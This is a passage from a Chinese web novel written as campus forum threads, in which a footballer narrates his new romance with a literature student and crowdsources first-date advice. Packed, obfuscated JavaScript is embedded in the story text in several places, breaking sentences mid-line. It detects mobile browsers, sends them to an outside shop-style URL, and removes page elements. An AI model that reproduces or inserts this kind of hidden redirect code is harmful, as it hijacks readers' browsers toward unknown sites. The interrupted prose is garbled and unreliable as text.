41楼匿名用户： 就说“我恋爱了”。 他们问是谁，你就说“文学院的顾辞”。 然后等着看他们震惊的表情。 42楼匿名用户： 震惊什么？ 他们不是早就知道你和顾辞天天一起吃早饭吗？ 说不定他们早就猜到了。 43楼匿名用户： 回42楼：有道理！ 队友可能比楼主自己还先开窍。 44楼匿名用户： 楼主，你明天去训练，注意观察队友的眼神。 肯定有人会问“张队你今天怎么笑得这么荡漾”。 45楼匿名用户： 哈哈哈哈哈哈“笑得这么荡漾”是什么形容！ 不过楼主现在确实，光看文字都能感觉到他在笑。 46楼楼主： …… 我承认。 我现在确实一直在笑。 看着手机笑。 看着天花板笑。 看着窗外的月亮也在笑。 47楼匿名用户： 完了完了，这人是真的恋爱了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382521|200203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “看着窗外的月亮也在笑”，这是什么恋爱脑发言。 48楼匿名用户： 楼主，你现在不是“足球不行踢球去”了。 你是“恋爱脑不行醒不来”。 49楼匿名用户： 哈哈哈哈哈哈夺笋啊！ 不过我喜欢。 50楼匿名用户： 话说回来，楼主你今晚还睡吗？ 明天还有训练呢。 51楼楼主： …… 不知道。 可能睡不着。 想给他发消息。 52楼匿名用户： 发！ 现在就发！ 问他睡没睡！ 53楼匿名用户： 对！发！ 恋爱就要这样！ 想发就发！ 54楼楼主： 发了。 【张】：睡了吗？ 【圆圆】：没。 【张】：在想什么？ 【圆圆】：在想你白天说的那些话。 【张】：……还在难过吗？ 【圆圆】：不是难过。 【圆圆】：是在想，原来你喜欢我的时候，会说这些话。 【圆圆】：原来你不是不会说，是没遇到想说的那个人。 我盯着那条消息，眼眶又酸了。 55楼匿名用户： 呜呜呜呜呜呜！！！ 顾辞也太会了吧！！！ “原来你不是不会说，是没遇到想说的那个人”！！！ 这是什么神仙情话！！！ 56楼匿名用户： 楼主快回！ 快说“那个人就是你”！ 57楼楼主： 回了。 【张】：那个人就是你。 【张】：只有你。 【圆圆】：我知道。 【圆圆】：张扬。 【张】：嗯？ 【圆圆】：晚安。 【张】：晚安。 就这些。 58楼匿名用户： “晚安”后面应该加一句“我爱你”吧？？？ 楼主你为什么不加！！！ 59楼匿名用户： 回58楼：别急。 他们才第一天在一起。 慢慢来。 60楼匿名用户： 对，慢慢来。 顾辞需要时间消化那些话。 楼主也需要时间适应这个新身份。 他们有一辈子的时间，不急。 61楼匿名用户： “一辈子”这个词真好。 十四年加一辈子，是多少年？ 62楼匿名用户： 回61楼：不知道。 但我知道，楼主一定会一直一直对他好。 因为他值得。 63楼匿名用户： 行了，今晚可以安心睡了。 儿子终于长大了。 儿媳妇也到手了。 老母亲欣慰。 64楼匿名用户： 回63楼：哈哈哈哈哈哈“老母亲”是什么鬼！ 不过确实，追了五帖，从第一帖看到现在，真的有种看着儿子长大的感觉。 65楼匿名用户： @足球不行踢球去楼主，记得明天来更新！ 我们要看后续！ 66楼楼主： 好。 明天一定来。 谢谢你们。 67楼匿名用户： 谢什么，快睡吧。 明天还有训练呢。 68楼匿名用户： 晚安楼主。 晚安顾辞。 晚安这个美好的夜晚。 —— 张扬把手机放到枕边。 窗外的月亮很亮，比昨晚还亮。 他看着那一小片月光，想起顾辞说的那些话。 “原来你不是不会说，是没遇到想说的那个人。” 他笑了。 是啊。 以前不会说，是因为没遇到他。 现在会说了，是因为满脑子都是他。 他拿起手机，又看了一眼那个对话框。 最后一条消息是他发的。 【圆圆】：晚安。 他想了想，又发了一条： 【张】：顾辞。 【张】：我好像越来越喜欢你了。 发完，他把手机扣在胸口，闭上眼睛。 嘴角还挂着笑。 过了一会儿，手机震了一下。 他拿起来看。 【圆圆】：我知道。 【圆圆】：我也是。 —— 窗外很静。 京华的夜总是很静。 但张扬的心跳，一点都不静。 10. 约会去哪儿？在线等挺急的！ 标题：【树洞】求助！约会去哪儿？在线等挺急的！ 论坛板块：京华大学\校园生活\情感树洞 发帖人：足球不行踢球去 正文： 兄弟们，我又来了。 我知道我昨天刚更新完，今天又来发帖有点频繁。 但我真的有急事。 十万火急的那种。 —— 【事情是这样的】 今天早上训练的时候，我一边跑步一边想事情。 想什么呢？想顾辞。 想他昨天说的话，想他今天会不会去食堂等我，想他中午吃什么。 然后想着想着，我突然意识到一个问题： 我们好像……还没正式约会过？ 就是那种……两个人单独出去，做点情侣该做的事的那种。 以前我们天天在一起，但那是以“兄弟”的身份。 吃饭是兄弟吃饭，自习是兄弟自习，遛弯是兄弟遛弯。 但现在不一样了啊！ 现在是情侣了！ 怎么能还跟以前一样呢？ 必须搞点不一样的！ —— 【问题来了】 但问题来了。 我不知道去哪儿。 真的不知道。 我这人你们知道的，从小到大除了踢球就是撸铁，娱乐活动就是和队友撸串打游戏。 顾辞呢？他喜欢看书，喜欢安静，喜欢那种……很有文化的地方。 我俩的娱乐交集基本为0。 以前做兄弟的时候不觉得，反正待一块就行。 但现在要“约会”了，我突然就慌了。 约会应该去哪儿？ 看电影？太普通了吧。 吃饭？我们天天一起吃，没意思。 逛公园？我们学校就有未名湖，天天逛。 去游乐场？他那种性格，会喜欢吗？ 我他妈想了整整一上午，脑子一片空白。 —— 中午吃饭的时候，我偷偷观察他。 他低头喝汤，睫毛垂下来，阳光落在侧脸上，好看得要命。 我看着看着就忘了想约会的事。 他抬头看我：“看什么？” 我脱口而出：“在想周末去哪儿约会。” 说完我就后悔了。 因为他的耳朵红了。 真的红了。 从耳朵尖红到脖子根。 但他脸上还是那副淡淡的表情，问：“你想去哪儿？” 我说：“不知道，所以问你。” 他说：“我也不知道。” 然后他低头继续喝汤。 但耳朵一直红着。 我看着那对红耳朵，突然觉得—— 去哪儿都行。 只要和他一起。 —— 【但现在我还是不知道去哪儿】 吃完饭回宿舍，我开始疯狂刷手机。 搜“京华大学情侣约会攻略”。 搜出来一堆帖子，说什么的都有： “去未名湖划船啊，晚上还能看星星” “学校后山有条小路，特别适合散步” “市区新开了家网红餐厅，适合打卡” “看电影啊，最近有部文艺片上映” 我看着这些，脑子更乱了。 未名湖？我们天天路过。 后山小路？我怕有蚊子。 网红餐厅？顾辞最讨厌排队。 文艺片？万一他看睡着了怎么办？ 操。 我他妈一个190的体育生，踢球从来没慌过。 现在因为一个约会，慌得像个傻子。 —— 【所以我来求助了】 兄弟们。 校友们。 过来人们。 求求你们给我支个招。 周末约会去哪儿？ 要那种……不那么俗套的，但也不能太奇葩的。 要顾辞会喜欢的，但我也能适应的。 要能体现我心意，但又不会太刻意的。 最好还能有点……浪漫的感觉。 我知道我要求多。 但这是我第一次约会啊！！！ 求求你们了！！！ 在线等，急！！！ —— 1楼匿名用户： 沙发！ 楼主你终于问了个正常问题！ 2楼匿名用户： 哈哈哈哈哈哈笑死我了！ “约会去哪儿”这种问题也来论坛问？ 楼主你是把同学当AI使是吧？？？ 3楼匿名用户： 回2楼：哈哈哈哈哈哈“把同学当AI使”绝了！ 不过楼主确实，从第一帖到现在，论坛就是他的百度百科。 4楼匿名用户： 楼主，你有没有想过，约会不一定非要去哪儿？ 就在学校走走也挺好啊。 5楼楼主： 回4楼：那和平时有什么区别？ 我想搞点不一样的。 6楼匿名用户： 回5楼：不一样的不是地方，是心态。 以前你们是兄弟遛弯，现在你们是情侣散步。 牵着手走，和勾肩搭背走，能一样吗？ 7楼匿名用户： 回6楼：有道理！ 楼主你就去未名湖边走走，晚上人少的时候，牵着他的手。 月光照着湖面，你看着他，他肯定比月亮好看。 8楼匿名用户： 回7楼：卧槽，这句“他肯定比月亮好看”好会！ 楼主你学学！ 9楼楼主： …… 我记下了。 但还有没有别的选项？ 10楼匿名用户： 图书馆！ 你陪他去看书！ 然后偷看他！ 他看书，你看他！ 11楼匿名用户： 回10楼：哈哈哈哈哈哈这是什么痴汉行为！ 但确实，顾辞那种学霸，去图书馆可能比去游乐场更自在。 12楼楼主： 回10楼：图书馆我们天天去啊！ 而且图书馆不能说话，约会还有什么意义？ 13楼匿名用户： 回12楼：约会不一定非要说话啊！ 坐在一起，各看各的书，偶尔抬头看对方一眼。 这不比那些刻意安排的约会强？ 14楼匿名用户： 回13楼：+1 而且你想想，你们以前在图书馆，是“兄弟”。 现在在图书馆，是“情侣”。 同样的地方，不同的身份。 感觉能一样吗？ 15楼楼主： …… 好像有点道理。 但我想带他去吃点好吃的。 16楼匿名用户： 那就去吃好吃的啊！ 市里有家新开的日料店，环境特别好，适合约会。 17楼匿名用户： 回16楼：对对对！那家我知道！ 需要提前预约，位置不多，很安静。 楼主你预约一个，带顾辞去！ 18楼楼主： 日料？ 他喜欢吗？ 他好像更喜欢中餐。 19楼匿名用户： 那你问他啊！ 你直接问他：“周末想吃什么？” 这很难吗？ 20楼楼主： 回19楼：…… 我想给他惊喜。 问了他就不惊喜了。 21楼匿名用户： 回20楼：惊喜的前提是他喜欢。 你带他去吃他不喜欢的东西，那不叫惊喜，叫惊吓。 22楼匿名用户： 哈哈哈哈哈哈“惊吓”太真实了！ 楼主你想想，万一你订了日料，结果他不吃生鱼片。 多尴尬。 23楼楼主： 他不吃生鱼片吗？ 我不知道啊！！！ 24楼匿名用户： 回23楼：你看，你连他爱吃什么都不知道，还想给惊喜？ 先做功课吧兄弟！ 25楼匿名用户： 就是！ 你喜欢他，就得了解他！ 他爱吃什么，不爱吃什么，喜欢什么颜色，讨厌什么天气。 这些都得知道！ 26楼楼主： …… 我记下了。 明天开始观察。 27楼匿名用户： 话说回来，楼主你问问队友啊！ 他们不是经常约会吗？ 应该有经验吧？ 28楼楼主： 回27楼：问过了。 他们说去网吧开黑。 说情侣约会最好的地方就是网吧。 说可以一边打游戏一边增进感情。 我觉得他们在坑我。 29楼匿名用户： 哈哈哈哈哈哈笑死！ 你队友什么直男思维！ 约会去网吧？？ 30楼匿名用户： 你队友是不是都是单身？ 这种建议都敢给？ 31楼楼主： 回30楼：…… 大部分是。 32楼匿名用户： 破案了。 一群单身狗给恋爱新手支招。 楼主你也是心大，居然去问他们。 33楼匿名用户： 楼主，听我说，去学校后山。 就是那个小山坡，上面有个亭子，可以看日落。 带点零食，带杯奶茶，坐在那儿看太阳落山。 然后你看着他的侧脸被夕阳染成金色。 绝了。 34楼匿名用户： 回33楼：这个好！ 而且后山离学校近，不用跑远。 日落时间也刚好，看完还能一起吃饭。 35楼楼主： 后山？ 是那个有小路的后山吗？ 我昨天还想着怕有蚊子。 36楼匿名用户： 回35楼：喷花露水啊！ 为了约会，被蚊子咬几口怎么了！ 而且你可以抱着他，蚊子咬你，不咬他。 37楼匿名用户： 回36楼：哈哈哈哈哈哈这是什么自我牺牲精神！ 不过确实，你要是愿意为他被蚊子咬，他肯定感动。 38楼楼主： …… 行吧。 花露水我买。 39楼匿名用户： 楼主，还有一个选项：博物馆。 市博物馆最近有个展览，关于古代书画的。 顾辞不是文学院的吗？应该会感兴趣。 40楼匿名用户： 回39楼：对！这个好！ 有文化，又安静，还能边走边聊。 看完展还能去附近找家小店吃饭。 完美！ 41楼楼主： 博物馆？ 听起来不错。 他不会觉得无聊吗？ 42楼匿名用户： 回41楼：他喜欢的东西，怎么会无聊？ 而且你可以让他给你讲解啊！ 他给你讲那些书画的历史，你看着他眼睛发光。 这不比看电影强？ 43楼匿名用户： 对对对！ 让他讲！ 男人最享受的就是在自己擅长领域被崇拜的感觉！ 你全程星星眼看他，他肯定开心！ 44楼楼主： …… 我记下了。 但我不懂那些书画，万一他讲的我听不懂怎么办？ 45楼匿名用户： 回44楼：听不懂就问他啊！ “这是什么意思？”“那个人是谁？”“为什么这幅画有名？” 他解释的时候，你就看着他。 他喜欢看你认真听的样子。 46楼匿名用户： 回45楼：对！ 而且你想想，以后你再看到那些书画，就会想起这一天。 想起他给你讲解的样子。 多好。 47楼楼主： …… 好。 博物馆列入备选。 48楼匿名用户： 楼主，还有一个选项：游乐场。 虽然你说顾辞可能不喜欢，但我建议你带他去一次。 49楼匿名用户： 回48楼：为什么？ 50楼匿名用户： 回49楼：因为可以坐摩天轮啊！ 摩天轮到最高点的时候，可以亲他！ 经典约会项目！ 51楼匿名用户： 回50楼：哈哈哈哈哈哈！ 这个动机太明显了！ 但确实，摩天轮是约会圣地。 52楼楼主： …… 他不会恐高吧？ 我不知道啊！！！ 53楼匿名用户： 回52楼：问啊！ 你就问：“你恐高吗？” 他要是说不恐，你就说：“那我们周末去游乐场坐摩天轮吧！” 他要是说恐，你就说：“那我们去别的地方。” 多简单。 54楼楼主： …… 我发现你们说的所有选项，都需要我先问他。 那我直接问他不就行了？ 为什么还要来问你们？ 55楼匿名用户： 回54楼：？？？ 楼主你终于发现了？？？ 56楼匿名用户： 哈哈哈哈哈哈笑死！ 我们给你支招半天，你才反应过来可以直接问？ 57楼匿名用户： 楼主你是真的……脑子不太好使啊。 直接问他不就完了吗？ 他喜欢什么你就带他去什么。 多简单的事。 58楼匿名用户： 回57楼：但他想给惊喜啊。 问题是惊喜的前提是了解。 他现在还不够了解顾辞，给不了惊喜。 59楼匿名用户： 所以楼主，你现在要做的不是找地方，是了解他。 知道他的喜好，知道他的习惯，知道他的雷区。 然后才能给他惊喜。 60楼楼主： …… 你们说得对。 我好像本末倒置了。 我先去了解他，再来问地方。 61楼匿名用户： 对！ 而且了解本身也是约会的一部分啊！ 你问他“你喜欢什么”，他回答你。 这不就是在增进感情吗？ 62楼匿名用户： 就是！ 你就直接问他：“顾辞，周末我们约会，你想去哪儿？” 他要是说不知道，你就说：“那我们一起想。” 这不比你自己在这儿瞎猜强？ 63楼楼主： …… 好。 我现在去问。 64楼匿名用户： 等等等等！ 别现在去！ 他下午有课吧？ 你等他下课再问。 65楼楼主： 回64楼：你怎么知道他下午有课？

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382522|200203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 66楼匿名用户： 回65楼：…… 文学院周三下午有专业课。 这都不知道？ 你到底关不关心他？ 67楼楼主： …… 我错了。 我这就去背他的课表。 68楼匿名用户： 哈哈哈哈哈哈！ 楼主你真的是……恋爱新手实锤了。 69楼匿名用户： 话说回来，楼主你背课表有什么用？ 你要记住的是他喜欢什么，不是他什么时候上课。 70楼匿名用户： 对！ 喜欢什么颜色？ 喜欢什么天气？ 喜欢什么食物？ 喜欢什么电影？ 这些才是重点！ 71楼楼主： …… 我不知道。 我一个都答不上来。 72楼匿名用户： 你看！ 所以你着急约什么会？ 先做功课！ 73楼匿名用户： 就是！ 功课做足了，约会自然就水到渠成了。 74楼匿名用户： 楼主我教你一个办法： 从今天开始，每天记一件事。 他今天说了什么，做了什么，喜欢什么，不喜欢什么。 记一个月，你就全知道了。 75楼匿名用户： 回74楼：这个办法好！ 用小本本记下来！ 以后送礼物约会都有依据！ 76楼楼主： …… 好。 我记。 77楼匿名用户： 对了楼主，还有一个重要问题： 你有钱吗？ 78楼楼主： 回77楼：？？？ 79楼匿名用户： 约会要花钱的啊！ 吃饭要钱，看电影要钱，去游乐场要钱。 你一个体育生，平时有存钱吗？ 80楼楼主： …… 我有生活费。 还有比赛奖金。 够用吧？ 81楼匿名用户： 够用就好。 别到时候约会让顾辞掏钱。 82楼匿名用户： 对对对！ 第一次约会，一定要你请客！ 这是态度问题！ 83楼楼主： 知道了知道了。 我请客。 他不用掏一分钱。 84楼匿名用户： 这还差不多。 行了，楼主你去问吧。 问完记得来更新。 85楼楼主： 好。 等他下课我就问。 86楼匿名用户： 等等，楼主！ 还有一个问题！ 87楼楼主： 什么问题？ 88楼匿名用户： 你问他的时候，别太正式。 别搞得像面试一样。 就轻松点，随便问问。 89楼匿名用户： 对对对！ 别让他有压力。 也别让他觉得你在完成任务。 就当是聊天。 90楼楼主： …… 你们怎么什么都要教？ 我谈个恋爱这么难的吗？ 91楼匿名用户： 回90楼：不难。 但你太笨了，不教不行。 92楼匿名用户： 哈哈哈哈哈哈！ “太笨了”真实！ 楼主你就认了吧，你就是恋爱笨蛋。 93楼楼主： …… 行吧。 我是笨蛋。 但我喜欢他。 这总行了吧？ 94楼匿名用户： 行行行！ 你有喜欢的人你了不起！ 快去问！ —— 【更新】 兄弟们，他下课了。 我刚给他发了消息。 【张】：下课了吗？ 【圆圆】：嗯。 【张】：晚上一起吃饭？ 【圆圆】：好。 【张】：吃完饭我想问你点事。 【圆圆】：什么事？ 【张】：周末你想去哪儿约会？ 【圆圆】：…… 【圆圆】：就这个？ 【张】：嗯。我想了好几天了，不知道去哪儿。所以问你。 【圆圆】：张扬。 【张】：嗯？ 【圆圆】：你是在把我当人工导航使吗？ 我愣住了。 人工导航？ 什么意思？ 然后我想起论坛上说的—— “把同学当AI使”。 他现在是在说我把他当AI使？？？ 我赶紧回： 【张】：不是不是！ 【张】：我是真的不知道，想问问你喜欢什么。 【张】：我想给你惊喜，但我怕选的地方你不喜欢。 【张】：所以先问问你，以后知道了，再给惊喜。 他那边沉默了一会儿。 然后他回： 【圆圆】：张扬。 【张】：嗯？ 【圆圆】：你不用想那么多。 【圆圆】：去哪儿都行。 【圆圆】：和你一起就行。 我看着那几行字，心跳漏了一拍。 他说“和你一起就行”。 去哪儿都行。 只要和我一起。 操。 我盯着手机屏幕，嘴角快咧到耳朵根。 然后我打字： 【张】：那晚上吃饭的时候我们一起想。 【张】：想一个我们都喜欢的地方。 【张】：第一次约会，不能太随便。 【圆圆】：好。 【圆圆】：晚上见。 我看着那个“晚上见”，突然觉得—— 其实去哪儿真的不重要。 重要的是，他终于不只是“等”我了。 而是要和我一起去了。 —— 兄弟们。 我现在要去食堂等他。 不管晚上商量出去哪儿。 我都觉得—— 这是我十九年来，最期待的一个周末。 —— 96楼匿名用户： 呜呜呜呜呜！！！ “和你一起就行”！！！ 这是什么神仙情话！！！ 97楼匿名用户： 顾辞真的太会了！！！ 一句话就把楼主撩得找不到北！！！ 98楼匿名用户： 楼主你看见没有！！！ 他根本不在乎去哪儿！！！ 他在乎的是和你一起！！！ 99楼匿名用户： 所以你还纠结什么？ 随便找个地方都行！ 只要和他一起！ 100楼匿名用户： 但楼主说要一起想，这个态度也对。 毕竟是第一次约会，两个人一起决定，更有意义。 101楼匿名用户： 对！ 一起想，一起选，一起去。 这才是情侣该有的样子。 102楼匿名用户： 行了，楼主你快去吧！ 别让顾辞等！ 记得晚上来更新你们商量出什么结果！ 103楼楼主： 好！ 晚上见！ 11. 第一次约会注意事项！在线等挺急的！ 标题：【树洞】求助！第一次约会注意事项！在线等挺急的！ 论坛板块：京华大学\校园生活\情感树洞 发帖人：足球不行踢球去 正文： 兄弟们，我回来了。 昨晚和顾辞商量了一晚上，终于把约会地点定下来了。 ——水族馆。 没错，就是水族馆。 说出来你们可能不信，这个地点是他提的。 昨天晚上我们一起去吃饭，我问他：“你想去哪儿？” 他低头想了很久，久到我以为他不会回答了。 然后他说：“水族馆。” 我愣了一下。 水族馆？ 就那个……有很多鱼的地方？ 他看我愣住，耳朵尖红了一下，说：“小时候去过一次，后来再也没去过。听说……听说新建的那个很大。” 他说这话的时候，眼睛没看我，盯着面前的碗。 但我看见他睫毛在抖。 就那么轻轻抖了一下。 我当时脑子里只有一个念头： 去。 必须去。 别说水族馆了，就是要去南极看企鹅，我也去。 —— 【为什么是水族馆】 后来我问他想去水族馆的原因。 他一开始不肯说。 被我追问了半天，才憋出一句： “《小王子》里说，如果你驯养了我，我们就会彼此需要。对我来说，你就是世界上唯一的了；对你来说，我也是世界上唯一的了。” 我听得一头雾水：“这和鱼有什么关系？” 他瞪了我一眼。 然后说：“水族馆里的鱼，隔着玻璃游来游去。它们不知道玻璃外面有人在看它们，看它们的人也不知道鱼在想什么。” 他顿了顿。 “但如果我们一起去看，就不一样了。” “我们看到的是一样的鱼，听到的是同一片水声。玻璃那边是鱼的世界，玻璃这边是我们的世界。” 他说完这些，耳朵红透了。 我听着听着，突然觉得—— 这人怎么这么会说话？ 明明说的是鱼，但我听出来的全是“我们”。 —— 【所以现在问题来了】 地点定了。 但这周末就要去了。 我开始慌了。 第一次约会啊兄弟们！ 不是兄弟一起出去玩！ 是约会！ 是和喜欢的人约会！ 我他妈完全不知道该怎么办！ 要准备什么？ 要注意什么？ 穿什么衣服？ 说什么话？ 要不要带什么东西？ 要不要提前做攻略？ 要不要…… 我脑子快炸了。 —— 所以我又来问你们了。 我知道你们又要说我“把同学当AI使”。 但我真的没办法啊！ 这种事又不能问队友，那群单身狗只会说“冲就完了”。 也不能问顾辞，问了就不叫惊喜了。 只能问你们了。 求求你们了！ 救救孩子吧！ 第一次约会注意事项大全！ 需要准备的东西清单！ 避雷指南！ 什么都行！ 在线等！ 挺急的！ —— 1楼匿名用户： 沙发！ 哈哈哈哈哈哈楼主你又来了！ 2楼匿名用户： 笑死，楼主是真的把论坛当百度用了。 “第一次约会注意事项”也来问？ 3楼匿名用户： 回2楼：关键是我们还真的每次都回答。 我们是什么？免费恋爱顾问团吗？ 4楼匿名用户： 回3楼：关键是我们大部分还都是单身狗。 我一个单身二十年的在这儿给楼主出谋划策？ 我图什么？？？ 5楼匿名用户： 回4楼：图什么？图一个参与感啊！ 自己谈不了恋爱，还不能看别人谈吗？ 6楼匿名用户： 真实。 我就是那个自己单身，但每天都在追楼主帖子的傻子。 7楼匿名用户： +1 每天刷论坛第一件事就是看楼主更新没有。 我室友问我是不是恋爱了，我说没有，我在追连续剧。 8楼匿名用户： 哈哈哈哈哈哈“追连续剧”太真实了！ 楼主这个帖，比我看的甜剧都上头。 9楼匿名用户： 行了，别唠了，给楼主出主意吧。 毕竟是我们看着长大的儿子，不能不管。 10楼匿名用户： 回9楼：哈哈哈哈哈哈“看着长大的儿子”是什么鬼！ 不过确实，从第一帖追到现在，真有养成系的感觉。 11楼楼主： 求求你们了！ 别唠了！ 快给主意！ 周六就要去了！ 12楼匿名用户： 好好好，给你出主意。 首先，衣服！ 穿什么很重要！ 13楼匿名用户： 对！第一次约会，穿搭是门面！ 不能太随便，也不能太刻意。 就……干净舒服就行。 14楼匿名用户： 楼主你平时穿什么？ 运动服？球衣？ 15楼楼主： 平时就运动服啊，训练方便。 偶尔穿卫衣牛仔裤。 16楼匿名用户： 那就卫衣牛仔裤！ 别穿球衣，太随意了。 也别穿西装，太夸张了。 卫衣牛仔裤，干净利落，最适合你。 17楼匿名用户： 对！ 而且水族馆里冷气足，卫衣正好。 别到时候冻得直哆嗦，影响发挥。 18楼匿名用户： “影响发挥”是什么鬼？ 楼主又不是去比赛的。 19楼匿名用户： 回18楼：你懂什么！ 第一次约会，每一个细节都重要！ 冻着了说话都不利索，怎么撩？ 20楼楼主： …… 我没打算撩。 我就是想好好待着。 21楼匿名用户： 回20楼：你不想撩，但你人在那儿就是撩。 你190的身高往那儿一站，顾辞看着你就心跳加速。 还用撩吗？ 22楼匿名用户： 哈哈哈哈哈哈！ “190的身高往那儿一站”就够了！ 楼主你赢在起跑线上了。 23楼楼主： …… 行吧。 卫衣牛仔裤，记下了。 24楼匿名用户： 还有鞋！ 别穿球鞋！ 太运动了！ 穿个干净的小白鞋就行！ 25楼楼主： 小白鞋？ 我好像有一双。 26楼匿名用户： 那就穿那双！ 提前擦干净！ 别到时候灰头土脸的！ 27楼楼主： …… 我今晚就擦。 28楼匿名用户： 然后，要带什么东西？ 水！一定要带水！ 水族馆里逛久了会渴。 29楼匿名用户： 对对对！ 带两瓶水，给他一瓶。 还可以带点小零食，万一饿了。 30楼匿名用户： 但别带味道大的！ 别到时候一打开包装，满屋子味。 顾辞那么精致的人，受不了。 31楼楼主： 那他喜欢吃什么零食？ 我不知道啊！！！ 32楼匿名用户： 你看，又来了。 上次让你做功课，你没做？ 33楼楼主： 做了！ 这几天我记了！ 他喜欢吃甜的，不爱吃辣的。 喝豆浆不加糖，但吃蛋糕。 水果喜欢草莓和芒果，不喜欢榴莲。 这些我都记了！ 34楼匿名用户： 回33楼：！！！ 楼主你出息了！！！ 真的记了！！！ 35楼匿名用户： 感动！ 儿子终于长大了！ 那你就带点甜的零食，比如小蛋糕、巧克力什么的。 36楼匿名用户： 对！ 带那种独立包装的，方便吃。 别带一大盒，拿着麻烦。 37楼楼主： 好。 我明天去买。 38楼匿名用户： 还有相机！ 或者手机充满电！ 拍照！ 39楼匿名用户： 对对对！ 第一次约会，一定要拍照留念！ 以后可以拿出来看！ 40楼楼主： 他不喜欢拍照。 每次我拍他，他都躲。 41楼匿名用户： 回40楼：那你拍鱼啊！ 拍他看鱼的样子！ 他不让你拍他，你就偷拍！ 拍背影，拍侧脸，拍他专注看鱼的时候！ 42楼匿名用户： 对对对！ 拍他看鱼，你也在看他。 以后看照片，想起的是那一天的他。 43楼楼主： …… 好。 我偷拍。 44楼匿名用户： 然后，还有一个重要问题： 你准备怎么去？ 45楼楼主： 坐地铁吧。 打车太贵了。 46楼匿名用户： 坐地铁可以！ 但要注意时间！ 别迟到了！ 47楼匿名用户： 对对对！ 第一次约会，迟到是大忌！ 提前查好路线，提前出门！ 宁可早到等他，别让他等你。 48楼楼主： 知道了。 我提前一小时出门。 49楼匿名用户： 也不用一小时…… 半小时就够了。 去太早干等着也尴尬。 50楼匿名用户： 回49楼：可以先去附近逛逛啊！ 熟悉一下环境，买点东西。 别到时候手忙脚乱的。 51楼楼主： 好。 我提前半小时到，先踩点。 52楼匿名用户： 然后，还有一个灵魂问题： 你准备说什么？ 53楼楼主： 说什么？ 就……正常说话啊？ 54楼匿名用户： 正常说话是什么话？ 你总得准备点话题吧？ 万一冷场了怎么办？ 55楼楼主： …… 不会冷场吧？ 我们平时话挺多的。 56楼匿名用户： 平时是平时，约会是约会！ 平时你们聊训练、聊吃饭、聊学校的事。 约会的时候聊这些？ 太没情调了！ 57楼匿名用户： 对！ 你得聊点跟约会有关的话题！ 比如那条鱼好漂亮，比如你喜欢这个吗，比如你累不累。 再比如…… 比如看着他眼睛说“你今天真好看”。 58楼匿名用户： 回57楼：卧槽这句好！ “你今天真好看”！ 简单直接，杀伤力巨大！ 59楼楼主： …… 我说不出口。 60楼匿名用户： 说不出口也得说！ 约会就是要说这些！ 不然和平时有什么区别？ 61楼匿名用户： 对！ 而且你说的时候，他会脸红。 你不想看他脸红吗？ 62楼楼主： …… 想。 63楼匿名用户： 那就说！ 多说！ 说到他习惯为止！ 64楼匿名用户： 哈哈哈哈哈哈“说到他习惯为止”是什么魔鬼建议！ 不过确实，多说几遍就不尴尬了。 65楼楼主： 好。 我试试。 66楼匿名用户： 还有一个重点：牵手！ 你准备什么时候牵手？ 67楼楼主： ？？？ 还要考虑这个？？？ 68楼匿名用户： 当然要！ 第一次约会，牵手是个标志性动作！ 标志着你们从“刚刚在一起”到“真的在一起”！ 69楼匿名用户： 对对对！ 但也不能太刻意。 找个自然的时机。 70楼匿名用户： 比如过马路的时候？ 比如人挤的时候？ 比如他看鱼看得入迷的时候？ 71楼楼主： 他看鱼入迷的时候我牵手？ 他不会吓到吗？ 72楼匿名用户： 怎么会！ 你们不是已经在一起了吗？ 牵手不是很正常？ 73楼匿名用户： 对！ 而且你想，他正专注看鱼，突然感觉手被握住了。 一低头，是你握着他。 那个瞬间，多心动！ 74楼楼主： …… 我记下了。 找个自然的时机。 75楼匿名用户： 还有！ 注意他的反应！ 如果他手回握你，说明他很享受。 如果他僵住了，你就先松开，过会儿再试。 76楼匿名用户： 对！ 要观察，别硬来。 谈恋爱是两个人的事，得互相配合。 77楼楼主： 好。 我观察。 78楼匿名用户： 还有一个雷区：别全程玩手机！ 第一次约会，手机收起来！ 除非拍照，不然别掏出来！ 79楼匿名用户： 对对对！ 你想想，你正看鱼呢，他低头刷手机。 什么感觉？ 感觉他不重视你。 80楼楼主： 我不玩手机。 我平时和他一起也不玩。 81楼匿名用户： 那就好。 继续保持。 82楼匿名用户： 还有一个：吃饭问题！ 你们是逛完水族馆吃饭，还是先吃饭再逛？ 83楼楼主： 他说逛完再吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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好像都问完了。 106楼匿名用户： 那你现在感觉怎么样？ 还慌吗？ 107楼楼主： …… 还是慌。 但好一点了。 108楼匿名用户： 正常！ 第一次约会，不慌才怪！ 但慌说明你在意他，是好事。 109楼匿名用户： 对！ 你就记住一点： 做你自己。 别装，别演，别刻意。 就做那个会给他买包子、会陪他去临市、会握着他的手说“是你”的张扬。 就够了。 110楼楼主： …… 好。 我知道了。 111楼匿名用户： 行了，去吧。 周六约会，周五再来汇报准备情况。 112楼匿名用户： 对对对！ 周五来个倒计时帖！ 